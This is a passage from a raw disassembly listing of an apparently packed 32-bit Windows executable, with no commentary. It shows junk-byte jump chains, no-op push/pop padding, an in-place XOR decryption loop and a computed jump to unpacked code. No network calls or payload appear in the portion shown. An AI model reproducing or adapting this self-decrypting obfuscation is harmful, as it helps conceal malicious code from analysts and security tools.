--------------------------------------------------------------------------- dd 0C6A108ABh ; --------------------------------------------------------------------------- loc_408AF4: ; CODE XREF: .text:loc_408AFEj jmp short loc_408B21 ; --------------------------------------------------------------------------- xchg esi, [ebp+ebx*8-26DFDCAEh] sahf loc_408AFE: ; CODE XREF: .text:loc_408AC7j jmp short loc_408AF4 ; --------------------------------------------------------------------------- db 7Fh ; --------------------------------------------------------------------------- loc_408B01: ; CODE XREF: .text:loc_408B21j jmp short loc_408B31 ; --------------------------------------------------------------------------- db 4Ch dd 389BAA95h, 0E4777611h, 5013024Dh, 7C6F4E49h, 688B5A05h dd 14672681h, 8003B2BDh db 0B9h ; --------------------------------------------------------------------------- loc_408B21: ; CODE XREF: .text:loc_408AF4j jmp short loc_408B01 ; --------------------------------------------------------------------------- db 0FEh dd 0A75AC5Fh, 0D6F1987Bh, 622D4457h db 0F3h ; --------------------------------------------------------------------------- loc_408B31: ; CODE XREF: .text:loc_408B01j mov eax, [ebx+34h] jmp short loc_408B66 ; --------------------------------------------------------------------------- dw 0DC4Fh dd 0C86BBAE5h ; --------------------------------------------------------------------------- popa loc_408B3D: ; CODE XREF: .text:loc_408B66j jmp short loc_408B7D ; --------------------------------------------------------------------------- db 86h dd 129D7447h, 5E99E0E3h, 6A550C3Fh, 36D1F85Bh, 0C20DA437h dd 0E0910D3h, 1AC53C2Fh, 0E641284Bh, 727DD427h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- inc eax loc_408B66: ; CODE XREF: .text:00408B34j jmp short loc_408B3D ; --------------------------------------------------------------------------- dd 6C1FBE79h, 583BCA35h, 41796B1h, 70B322EDh, 9C0F6EE9h ; --------------------------------------------------------------------------- movsd loc_408B7D: ; CODE XREF: .text:loc_408B3Dj sub eax, ebp jmp short loc_408BAB ; --------------------------------------------------------------------------- db 0A3h, 0A0h, 59h dd 15CCFF1Eh ; --------------------------------------------------------------------------- loc_408B88: ; CODE XREF: .text:loc_408BABj jmp short loc_408BBC ; --------------------------------------------------------------------------- dw 1B2Ah dd 0F7F691B8h, 9382CD64h, 0EFCEC9D0h, 0BDA85FCh, 0E7A601E8h dd 83323D94h, 0DF7E3900h db 2Ch, 0F5h, 8Ah ; --------------------------------------------------------------------------- loc_408BAB: ; CODE XREF: .text:00408B7Fj jmp short loc_408B88 ; --------------------------------------------------------------------------- db 0FBh, 18h, 71h dd 0ADC4D756h, 0A93073E2h, 655CCF2Eh ; --------------------------------------------------------------------------- loc_408BBC: ; CODE XREF: .text:loc_408B88j push 22F50h push edi push eax push esi pop eax mov edi, ecx test al, ah mov ax, 4A45h test al, ch xor eax, ebx std cld pop eax pop edi pop edx push edx push eax test al, bh xor eax, edi test ecx, esp clc cld pop eax pop edx add edx, ebp jmp short loc_408C15 ; --------------------------------------------------------------------------- dw 6392h ; --------------------------------------------------------------------------- pusha loc_408BE9: ; CODE XREF: .text:loc_408C15j jmp short loc_408C2E ; --------------------------------------------------------------------------- sbb esi, ebx mov edi, 0DBEAD58Ch js short loc_408C45 mov dh, 0B7h and al, 8Dh inc edx push ebx nop mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- dw 0C1A8h dd 0FD54A766h, 0F9C043F2h, 0B5EC9F3Eh, 31D8BB4Ah ; --------------------------------------------------------------------------- push ss loc_408C15: ; CODE XREF: .text:00408BE4j jmp short loc_408BE9 ; --------------------------------------------------------------------------- db 97h dd 33A26D84h, 8FEE69F0h, 0ABFA251Ch, 87C6A108h, 2352DDB4h ; --------------------------------------------------------------------------- and cl, bl loc_408C2E: ; CODE XREF: .text:loc_408BE9j add edx, 0Dh jmp short loc_408C61 ; --------------------------------------------------------------------------- db 38h dd 0E4777611h db 4Dh, 2 ; --------------------------------------------------------------------------- loc_408C3A: ; CODE XREF: .text:loc_408C61j jmp short loc_408C71 ; --------------------------------------------------------------------------- dd 4E495013h, 5A057C6Fh db 8Bh ; --------------------------------------------------------------------------- loc_408C45: ; CODE XREF: .text:00408BF2j push 14672681h mov ebp, 0B98003B2h ; --------------------------------------------------------------------------- db 0FEh dd 0A75AC5Fh, 0D6F1987Bh, 622D4457h, 0AE29B0F3h ; --------------------------------------------------------------------------- dec edi loc_408C61: ; CODE XREF: .text:00408C31j jmp short loc_408C3A ; --------------------------------------------------------------------------- db 0DCh db 0E5h, 0BAh, 6Bh ; --------------------------------------------------------------------------- loc_408C67: ; CODE XREF: .text:loc_408C71j jmp short loc_408C94 ; --------------------------------------------------------------------------- db 0C8h, 61h, 86h dd 129D7447h db 0E3h ; --------------------------------------------------------------------------- loc_408C71: ; CODE XREF: .text:loc_408C3Aj jmp short loc_408C67 ; --------------------------------------------------------------------------- db 0E0h dd 0C3F5E99h, 0F85B6A55h, 0A43736D1h, 10D3C20Dh, 3C2F0E09h dd 284B1AC5h, 0D427E641h, 40C3727Dh ; --------------------------------------------------------------------------- loc_408C94: ; CODE XREF: .text:loc_408C67j push 1001F000h jmp short loc_408CC4 ; --------------------------------------------------------------------------- cmp ebx, [eax-4Fh] loc_408C9E: ; CODE XREF: .text:loc_408CC4j jmp short loc_408CD4 ; --------------------------------------------------------------------------- dd 0ED041796h, 0E970B322h, 0A59C0F6Eh, 21882B7Ah, 5D340746h dd 59A0A3D2h, 15CCFF1Eh, 91B81B2Ah, 0CD64F7F6h ; --------------------------------------------------------------------------- loc_408CC4: ; CODE XREF: .text:00408C99j jmp short loc_408C9E ; --------------------------------------------------------------------------- db 82h ; --------------------------------------------------------------------------- loc_408CC7: ; CODE XREF: .text:loc_408CD4j jmp short loc_408CF3 ; --------------------------------------------------------------------------- db 93h, 0D0h, 0C9h dd 85FCEFCEh, 1E80BDAh ; --------------------------------------------------------------------------- loc_408CD4: ; CODE XREF: .text:loc_408C9Ej jmp short loc_408CC7 ; --------------------------------------------------------------------------- dw 0E7A6h dd 83323D94h, 0DF7E3900h, 0FB8AF52Ch, 0D7567118h, 73E2ADC4h dd 0CF2EA930h db 5Ch, 65h, 3Ah ; --------------------------------------------------------------------------- loc_408CF3: ; CODE XREF: .text:loc_408CC7j pop ecx jmp short loc_408D21 ; --------------------------------------------------------------------------- dw 1DF4h ; --------------------------------------------------------------------------- xchg eax, edx loc_408CF9: ; CODE XREF: .text:loc_408D21j jmp short loc_408D34 ; --------------------------------------------------------------------------- db 63h ; --------------------------------------------------------------------------- pusha sbb esi, ebx mov edi, 0DBEAD58Ch js short loc_408D57 mov dh, 0B7h and al, 8Dh inc edx push ebx nop mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- dd 0A766C1A8h, 43F2FD54h, 9F3EF9C0h ; CODE XREF: .text:00408D7Dj ; .text:00408D81j db 0ECh ; --------------------------------------------------------------------------- loc_408D21: ; CODE XREF: .text:00408CF4j jmp short loc_408CF9 ; --------------------------------------------------------------------------- db 0B5h dd 31D8BB4Ah, 6D849716h db 0A2h, 33h ; --------------------------------------------------------------------------- loc_408D2E: ; CODE XREF: .text:loc_408D34j jmp short loc_408D5F ; --------------------------------------------------------------------------- dd 8FEE69F0h ; --------------------------------------------------------------------------- loc_408D34: ; CODE XREF: .text:loc_408CF9j jmp short loc_408D2E ; --------------------------------------------------------------------------- dw 251Ch dd 0A108ABFAh, 0DDB487C6h, 0D9202352h, 954C7F9Eh, 11389BAAh dd 4DE47776h, 49501302h db 4Eh, 6Fh, 7Ch ; --------------------------------------------------------------------------- loc_408D57: ; CODE XREF: .text:00408D04j add eax, 81688B5Ah ; --------------------------------------------------------------------------- db 26h, 67h, 14h ; --------------------------------------------------------------------------- loc_408D5F: ; CODE XREF: .text:loc_408D2Ej sub ecx, eax jmp short loc_408D90 ; --------------------------------------------------------------------------- lodsb jnz short loc_408D70 loc_408D66: ; CODE XREF: .text:loc_408D90j jmp short loc_408DA6 ; --------------------------------------------------------------------------- dd 0D6F1987Bh, 622D4457h ; --------------------------------------------------------------------------- loc_408D70: ; CODE XREF: .text:00408D64j rep mov al, 29h scasb dec edi fsubr st(5), st mov edx, 8661C86Bh inc edi jz short near ptr dword_408D14+8 adc ah, bl loopne near ptr dword_408D14+8 pop esi aas or al, 55h push 5Bh clc sal dword ptr [esi], 1 aaa movsb ; --------------------------------------------------------------------------- dw 0C20Dh ; --------------------------------------------------------------------------- loc_408D90: ; CODE XREF: .text:00408D61j jmp short loc_408D66 ; --------------------------------------------------------------------------- rcl dword ptr [eax], cl or [esi], ecx loc_408D96: ; CODE XREF: .text:loc_408DA6j jmp short loc_408DC1 ; --------------------------------------------------------------------------- dd 1AC53C2Fh, 0E641284Bh, 727DD427h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- inc eax loc_408DA6: ; CODE XREF: .text:loc_408D66j jmp short loc_408D96 ; --------------------------------------------------------------------------- db 79h, 0BEh, 1Fh ; --------------------------------------------------------------------------- loc_408DAB: ; CODE XREF: .text:loc_408DC1j jmp short loc_408DDC ; --------------------------------------------------------------------------- db 6Ch, 35h, 0CAh dd 96B1583Bh, 22ED0417h, 6EE970B3h, 7AA59C0Fh db 2Bh ; --------------------------------------------------------------------------- loc_408DC1: ; CODE XREF: .text:loc_408D96j jmp short loc_408DAB ; --------------------------------------------------------------------------- db 88h dd 34074621h, 0A0A3D25Dh, 0CCFF1E59h, 0B81B2A15h, 64F7F691h dd 0D09382CDh ; --------------------------------------------------------------------------- loc_408DDC: ; CODE XREF: .text:loc_408DABj mov [edx], ecx push edi push esi stc mov esi, esp cld pop esi pop edi loc_408DE6: ; CODE XREF: .text:00408674j popa push ecx push ebx neg ecx mov ecx, ecx xchg ecx, ebx stc cld pop ebx pop ecx call loc_4065CD push eax push edi lea eax, ds:8087DAh mov ax, 49ABh std cld pop edi pop eax add eax, 22F50h push ebx push edx lea ebx, ds:80881Ah stc cld pop edx pop ebx jmp eax ; --------------------------------------------------------------------------- push esi push edx dec esi test al, ah cld pop edx pop esi ; =============== S U B R O U T I N E ======================================= sub_408E23 proc far ; CODE XREF: .text:loc_408068p ; .text:loc_408192p arg_FFFFFFFC = dword ptr 4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 00408FDE SIZE 00000002 BYTES ; FUNCTION CHUNK AT 00408FEE SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00409004 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 0040900B SIZE 00000002 BYTES ; FUNCTION CHUNK AT 00409017 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 00409022 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 00409053 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 00409075 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 0040907C SIZE 00000002 BYTES ; FUNCTION CHUNK AT 00409085 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 0040909D SIZE 00000002 BYTES ; FUNCTION CHUNK AT 004090AC SIZE 00000002 BYTES ; FUNCTION CHUNK AT 004090CB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004090D7 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 004090FC SIZE 00000002 BYTES ; FUNCTION CHUNK AT 0040910C SIZE 00000028 BYTES ; FUNCTION CHUNK AT 0040913B SIZE 00000002 BYTES ; FUNCTION CHUNK AT 00409162 SIZE 00000004 BYTES ; FUNCTION CHUNK AT 00409177 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 0040917D SIZE 00000002 BYTES ; FUNCTION CHUNK AT 00409196 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 004091AD SIZE 0000002A BYTES ; FUNCTION CHUNK AT 004091DE SIZE 00000002 BYTES ; FUNCTION CHUNK AT 00409205 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 00409215 SIZE 00000073 BYTES ; FUNCTION CHUNK AT 0040928F SIZE 00000002 BYTES ; FUNCTION CHUNK AT 004092B4 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 004092C4 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 004092D2 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 004092FB SIZE 00000002 BYTES ; FUNCTION CHUNK AT 00409312 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00409320 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 0040933B SIZE 00000002 BYTES ; FUNCTION CHUNK AT 00409341 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 00409352 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 00409362 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 00409371 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 00409390 SIZE 00000061 BYTES ; FUNCTION CHUNK AT 004093F8 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 00409421 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 00409433 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00409446 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 0040946B SIZE 00000002 BYTES ; FUNCTION CHUNK AT 0040947B SIZE 00000016 BYTES push esi jmp short loc_408E55 ; --------------------------------------------------------------------------- dw 0F52Ch db 8Ah ; --------------------------------------------------------------------------- loc_408E29: ; CODE XREF: sub_408E23:loc_408E55j jmp short loc_408E68 ; --------------------------------------------------------------------------- db 0FBh dd 0D7567118h, 73E2ADC4h, 0CF2EA930h, 0EB3A655Ch, 0C706E148h dd 63921DF4h, 0BFDE1960h, 0DBEAD58Ch, 0B7B65178h, 53428D24h db 90h ; --------------------------------------------------------------------------- loc_408E55: ; CODE XREF: sub_408E23+1j jmp short loc_408E29 ; --------------------------------------------------------------------------- mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- loc_408E5E: ; CODE XREF: sub_408E23:loc_408E68j jmp short loc_408E8B ; --------------------------------------------------------------------------- dd 0A766C1A8h, 43F2FD54h ; --------------------------------------------------------------------------- loc_408E68: ; CODE XREF: sub_408E23:loc_408E29j jmp short loc_408E5E ; --------------------------------------------------------------------------- loc_408E6A: ; CODE XREF: sub_408E23:loc_408E8Bj jmp short loc_408E9B ; --------------------------------------------------------------------------- dd 9F3EF9C0h, 0BB4AB5ECh, 971631D8h, 33A26D84h, 8FEE69F0h dd 0ABFA251Ch, 87C6A108h ; --------------------------------------------------------------------------- mov ah, 0DDh push edx loc_408E8B: ; CODE XREF: sub_408E23:loc_408E5Ej jmp short loc_408E6A ; --------------------------------------------------------------------------- db 23h, 20h, 0D9h dd 954C7F9Eh, 11389BAAh db 76h, 77h, 0E4h ; --------------------------------------------------------------------------- loc_408E9B: ; CODE XREF: sub_408E23:loc_408E6Aj push edi jmp short loc_408ECB ; --------------------------------------------------------------------------- dw 4E49h dd 5A057C6Fh, 2681688Bh, 0B2BD1467h, 0FEB98003h, 0A75AC5Fh dd 0D6F1987Bh ; --------------------------------------------------------------------------- loc_408EB8: ; CODE XREF: sub_408E23:loc_408ECBj jmp short loc_408EEA ; --------------------------------------------------------------------------- push edi inc esp sub eax, 29B0F362h scasb dec edi fsubr st(5), st mov edx, 8661C86Bh inc edi loc_408ECB: ; CODE XREF: sub_408E23+79j jmp short loc_408EB8 ; --------------------------------------------------------------------------- db 74h, 9Dh, 12h dd 5E99E0E3h, 6A550C3Fh, 36D1F85Bh, 0C20DA437h, 0E0910D3h dd 1AC53C2Fh db 4Bh, 28h ; --------------------------------------------------------------------------- loc_408EEA: ; CODE XREF: sub_408E23:loc_408EB8j push ecx jmp short loc_408F16 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- dw 7940h ; --------------------------------------------------------------------------- loc_408EF0: ; CODE XREF: sub_408E23:loc_408F16j jmp short loc_408F26 ; --------------------------------------------------------------------------- dw 1FBEh dd 3BCA356Ch, 1796B158h, 0B322ED04h, 0F6EE970h, 2B7AA59Ch dd 7462188h, 0A3D25D34h, 0FF1E59A0h db 0CCh db 15h ; --------------------------------------------------------------------------- loc_408F16: ; CODE XREF: sub_408E23+C8j jmp short loc_408EF0 ; --------------------------------------------------------------------------- db 2Ah ; --------------------------------------------------------------------------- loc_408F19: ; CODE XREF: sub_408E23:loc_408F26j jmp short loc_408F45 ; --------------------------------------------------------------------------- db 1Bh dd 0F7F691B8h, 9382CD64h ; --------------------------------------------------------------------------- ror cl, 1 loc_408F26: ; CODE XREF: sub_408E23:loc_408EF0j jmp short loc_408F19 ; --------------------------------------------------------------------------- dd 85FCEFCEh, 1E80BDAh, 3D94E7A6h, 39008332h, 0F52CDF7Eh dd 7118FB8Ah, 0ADC4D756h db 0E2h ; --------------------------------------------------------------------------- loc_408F45: ; CODE XREF: sub_408E23:loc_408F19j mov ecx, [esp+0Ch+arg_4] jmp short loc_408F76 ; --------------------------------------------------------------------------- db 5Ch db 65h, 3Ah ; --------------------------------------------------------------------------- loc_408F4E: ; CODE XREF: sub_408E23:loc_408F76j jmp short loc_408F89 ; --------------------------------------------------------------------------- jmp short loc_408F9A ; --------------------------------------------------------------------------- dw 6E1h dd 921DF4C7h, 0DE196063h, 0EAD58CBFh, 0B65178DBh, 428D24B7h dd 8E899053h, 9A45BCAFh, 66C1A8CBh ; --------------------------------------------------------------------------- cmpsd push esp loc_408F76: ; CODE XREF: sub_408E23+126j jmp short loc_408F4E ; --------------------------------------------------------------------------- db 0FDh, 0F2h, 43h ; --------------------------------------------------------------------------- loc_408F7B: ; CODE XREF: sub_408E23:loc_408F89j jmp short loc_408FAC ; --------------------------------------------------------------------------- db 0C0h, 0F9h, 3Eh dd 4AB5EC9Fh, 1631D8BBh ; --------------------------------------------------------------------------- loc_408F88: ; CODE XREF: sub_408E23:loc_408FEEj xchg eax, edi loc_408F89: ; CODE XREF: sub_408E23:loc_408F4Ej jmp short loc_408F7B ; --------------------------------------------------------------------------- db 84h dd 0F033A26Dh, 1C8FEE69h, 8ABFA25h db 0A1h, 0C6h ; --------------------------------------------------------------------------- loc_408F9A: ; CODE XREF: sub_408E23+12Dj xchg esi, [ebp+ebx*8-26DFDCAEh] sahf jg short loc_408FF0 xchg eax, ebp stosb wait cmp [ecx], dl jbe short loc_409022 ; --------------------------------------------------------------------------- db 0E4h ; --------------------------------------------------------------------------- loc_408FAC: ; CODE XREF: sub_408E23:loc_408F7Bj sub ecx, 4 push ecx push eax dec ecx adc ecx, 808F1Ah mov cx, 49C2h xor ecx, esp inc eax cld cld pop eax pop ecx mov edi, ebp push eax push edi xor edi, edx mov edi, esi rcl edi, 0FCh neg eax cmp dl, al cld pop edi pop eax mov eax, [esp+0Ch+arg_FFFFFFFC] jmp short loc_409004 sub_408E23 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 5Ah db 8Bh, 68h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_408E23 loc_408FDE: ; CODE XREF: sub_408E23:loc_409004j jmp short loc_409017 ; END OF FUNCTION CHUNK FOR sub_408E23 ; --------------------------------------------------------------------------- dd 14672681h, 8003B2BDh, 0AC5FFEB9h db 75h, 0Ah ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_408E23 loc_408FEE: ; CODE XREF: sub_408E23+20Bj jnp short loc_408F88 loc_408FF0: ; CODE XREF: sub_408E23+17Fj ; sub_408E23+208j icebp setalc push edi inc esp sub eax, 29B0F362h scasb dec edi fsubr st(5), st ; END OF FUNCTION CHUNK FOR sub_408E23 ; --------------------------------------------------------------------------- db 0BAh ; º db 6Bh ; k db 0C8h ; È _text ends ; Section 2. (virtual address 00009000) ; Virtual size : 00008000 ( 32768.) ; Section size in file : 00008000 ( 32768.) ; Offset to raw data for section: 00009000 ; Flags 40000040: Data Readable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read _data segment para public 'DATA' use32 assume cs:_data ;org 409000h dd 74478661h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_408E23 loc_409004: ; CODE XREF: sub_408E23+1B6j jmp short loc_408FDE ; END OF FUNCTION CHUNK FOR sub_408E23 ; --------------------------------------------------------------------------- dw 129Dh db 0E3h, 0E0h, 99h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_408E23 loc_40900B: ; CODE XREF: sub_408E23:loc_409017j jmp short loc_409038 ; END OF FUNCTION CHUNK FOR sub_408E23 ; --------------------------------------------------------------------------- db 5Eh, 3Fh, 0Ch dd 0F85B6A55h db 0D1h, 36h, 37h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_408E23 loc_409017: ; CODE XREF: sub_408E23:loc_408FDEj jmp short loc_40900B ; END OF FUNCTION CHUNK FOR sub_408E23 ; --------------------------------------------------------------------------- db 0A4h, 0Dh, 0C2h dd 0E0910D3h db 2Fh, 3Ch ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_408E23 loc_409022: ; CODE XREF: sub_408E23+186j lds ebx, [edx] dec ebx sub [ecx-1Ah], al daa aam 7Dh jb short loc_408FF0 inc eax jns short loc_408FEE pop ds insb xor eax, 0B1583BCAh xchg eax, esi loc_409038: ; CODE XREF: sub_408E23:loc_40900Bj add edi, eax push edx push edi test cl, al inc edx cld pop edi pop edx mov eax, [esp+8+arg_4] jmp short loc_409075 ; END OF FUNCTION CHUNK FOR sub_408E23 ; --------------------------------------------------------------------------- dd 882B7AA5h, 34074621h db 5Dh, 0D2h, 0A3h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_408E23 loc_409053: ; CODE XREF: sub_408E23:loc_409075j jmp short loc_409085 ; END OF FUNCTION CHUNK FOR sub_408E23 ; --------------------------------------------------------------------------- db 0A0h, 59h, 1Eh dd 2A15CCFFh, 0F691B81Bh, 82CD64F7h, 0CEC9D093h, 0DA85FCEFh dd 0A601E80Bh, 323D94E7h db 83h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_408E23 loc_409075: ; CODE XREF: sub_408E23+223j jmp short loc_409053 ; END OF FUNCTION CHUNK FOR sub_408E23 ; --------------------------------------------------------------------------- align 4 dd 2CDF7E39h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_408E23 loc_40907C: ; CODE XREF: sub_408E23:loc_409085j jmp short loc_4090AC ; END OF FUNCTION CHUNK FOR sub_408E23 ; --------------------------------------------------------------------------- dw 8AF5h dd 567118FBh db 0D7h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_408E23 loc_409085: ; CODE XREF: sub_408E23:loc_409053j jmp short loc_40907C ; END OF FUNCTION CHUNK FOR sub_408E23 ; --------------------------------------------------------------------------- db 0C4h dd 3073E2ADh, 5CCF2EA9h, 48EB3A65h, 0F4C706E1h, 6063921Dh db 19h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_408E23 loc_40909D: ; CODE XREF: sub_408E23:loc_4090ACj jmp short loc_4090CB ; END OF FUNCTION CHUNK FOR sub_408E23 ; --------------------------------------------------------------------------- db 0DEh dd 0EAD58CBFh, 0B65178DBh, 428D24B7h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_408E23 loc_4090AC: ; CODE XREF: sub_408E23:loc_40907Cj jmp short loc_40909D ; END OF FUNCTION CHUNK FOR sub_408E23 ; --------------------------------------------------------------------------- dw 9053h dd 0BCAF8E89h, 0A8CB9A45h, 54A766C1h, 0C043F2FDh, 0EC9F3EF9h dd 0D8BB4AB5h db 31h, 16h, 97h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_408E23 loc_4090CB: ; CODE XREF: sub_408E23:loc_40909Dj xor [ecx+edi], eax jmp short loc_4090FC ; END OF FUNCTION CHUNK FOR sub_408E23 ; --------------------------------------------------------------------------- dd 8FEE69F0h db 1Ch, 25h, 0FAh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_408E23 loc_4090D7: ; CODE XREF: sub_408E23:loc_4090FCj jmp short loc_40910C ; END OF FUNCTION CHUNK FOR sub_408E23 ; --------------------------------------------------------------------------- db 0ABh, 8, 0A1h dd 0DDB487C6h, 0D9202352h, 954C7F9Eh, 11389BAAh, 4DE47776h dd 49501302h, 57C6F4Eh, 81688B5Ah ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_408E23 loc_4090FC: ; CODE XREF: sub_408E23+2ABj jmp short loc_4090D7 ; END OF FUNCTION CHUNK FOR sub_408E23 ; --------------------------------------------------------------------------- dw 6726h dd 3B2BD14h, 5FFEB980h, 7B0A75ACh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_408E23 loc_40910C: ; CODE XREF: sub_408E23:loc_4090D7j dec ecx push esi push ebx xchg esi, esi mov si, 4A58h jns short loc_40911D or esi, 80A29Ah loc_40911D: ; CODE XREF: sub_408E23+2F2j inc ebx xor esi, esp not esi push edi pop ebx lea ebx, ds:81905Ah cld pop ebx pop esi loc_40912D: ; CODE XREF: sub_408E23+5C6j sub eax, 3071E39Eh jmp short loc_409162 ; END OF FUNCTION CHUNK FOR sub_408E23 ; --------------------------------------------------------------------------- dd 0BAE5DC4Fh db 6Bh, 0C8h, 61h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_408E23 loc_40913B: ; CODE XREF: sub_408E23:loc_409162j jmp short loc_409177 ; END OF FUNCTION CHUNK FOR sub_408E23 ; --------------------------------------------------------------------------- db 86h, 47h, 74h dd 0E0E3129Dh, 0C3F5E99h, 0F85B6A55h, 0A43736D1h, 10D3C20Dh dd 3C2F0E09h, 284B1AC5h, 0D427E641h db 7Dh, 72h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_408E23 loc_409162: ; CODE XREF: sub_408E23+30Fj jmp short loc_40913B ; --------------------------------------------------------------------------- loc_409164: ; CODE XREF: sub_408E23:loc_409177j jmp short loc_409196 ; END OF FUNCTION CHUNK FOR sub_408E23 ; --------------------------------------------------------------------------- dw 40C3h dd 6C1FBE79h, 583BCA35h, 41796B1h db 0EDh, 22h, 0B3h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_408E23 loc_409177: ; CODE XREF: sub_408E23:loc_40913Bj jmp short loc_409164 ; END OF FUNCTION CHUNK FOR sub_408E23 ; --------------------------------------------------------------------------- db 70h, 0E9h, 6Eh db 0Fh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_408E23 loc_40917D: ; CODE XREF: sub_408E23:loc_409196j jmp short loc_4091AD ; END OF FUNCTION CHUNK FOR sub_408E23 ; --------------------------------------------------------------------------- db 9Ch dd 882B7AA5h, 34074621h, 0A0A3D25Dh, 0CCFF1E59h, 0B81B2A15h db 91h, 0F6h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_408E23 loc_409196: ; CODE XREF: sub_408E23:loc_409164j jmp short loc_40917D ; END OF FUNCTION CHUNK FOR sub_408E23 ; --------------------------------------------------------------------------- dd 82CD64F7h, 0CEC9D093h, 0DA85FCEFh, 0A601E80Bh, 323D94E7h db 83h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_408E23 loc_4091AD: ; CODE XREF: sub_408E23:loc_40917Dj xor ax, 0A93Eh push edx push ebx xor ebx, edi dec edx dec edx push esp pop edx xor edx, edi test ecx, ecx shl edx, 97h inc edx neg edx neg ebx xor edx, ebx lea ebx, ds:80A01Ah dec edx cld pop ebx pop edx ror ax, 7Ah jmp short loc_409205 ; END OF FUNCTION CHUNK FOR sub_408E23 ; --------------------------------------------------------------------------- db 8Ah dd 567118FBh db 0D7h, 0C4h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_408E23 loc_4091DE: ; CODE XREF: sub_408E23:loc_409205j jmp short loc_409215 ; END OF FUNCTION CHUNK FOR sub_408E23 ; --------------------------------------------------------------------------- dd 3073E2ADh, 5CCF2EA9h, 48EB3A65h, 0F4C706E1h, 6063921Dh dd 8CBFDE19h, 78DBEAD5h, 24B7B651h, 9053428Dh db 89h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_408E23 loc_409205: ; CODE XREF: sub_408E23+3B2j jmp short loc_4091DE ; END OF FUNCTION CHUNK FOR sub_408E23 ; --------------------------------------------------------------------------- db 8Eh dd 9A45BCAFh, 66C1A8CBh, 0F2FD54A7h db 43h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_408E23 loc_409215: ; CODE XREF: sub_408E23:loc_4091DEj ror ax, 17h push eax push ecx xchg eax, eax xchg ecx, eax xor ecx, edi cmp cl, cl xor eax, ebp shr ecx, 0F4h push ecx pop eax cld pop ecx pop eax ror al, 1Ah push esi push ecx mov esi, 80A01Ah and ecx, 810F1Ah cld pop ecx pop esi xor al, 36h push esi push ebx mov esi, ecx test al, ch sbb esi, 80AA5Ah repne xor ebx, edx sbb ebx, 80989Ah cld pop ebx pop esi xor al, 35h push eax push edx not edx test al, dl mov eax, 809D9Ah lea eax, ds:8119DAh xor eax, edi dec edx not eax xchg eax, edx dec eax cld pop edx pop eax ror eax, 12h push ebx push esi xor ebx, eax inc ebx cld pop esi pop ebx ror eax, 0C0h jmp short loc_4092B4 ; END OF FUNCTION CHUNK FOR sub_408E23 ; --------------------------------------------------------------------------- dd 8FEE69F0h db 1Ch, 25h, 0FAh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_408E23 loc_40928F: ; CODE XREF: sub_408E23:loc_4092B4j jmp short loc_4092C4 ; END OF FUNCTION CHUNK FOR sub_408E23 ; --------------------------------------------------------------------------- db 0ABh, 8, 0A1h dd 0DDB487C6h, 0D9202352h, 954C7F9Eh, 11389BAAh, 4DE47776h dd 49501302h, 57C6F4Eh, 81688B5Ah ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_408E23 loc_4092B4: ; CODE XREF: sub_408E23+463j jmp short loc_40928F ; END 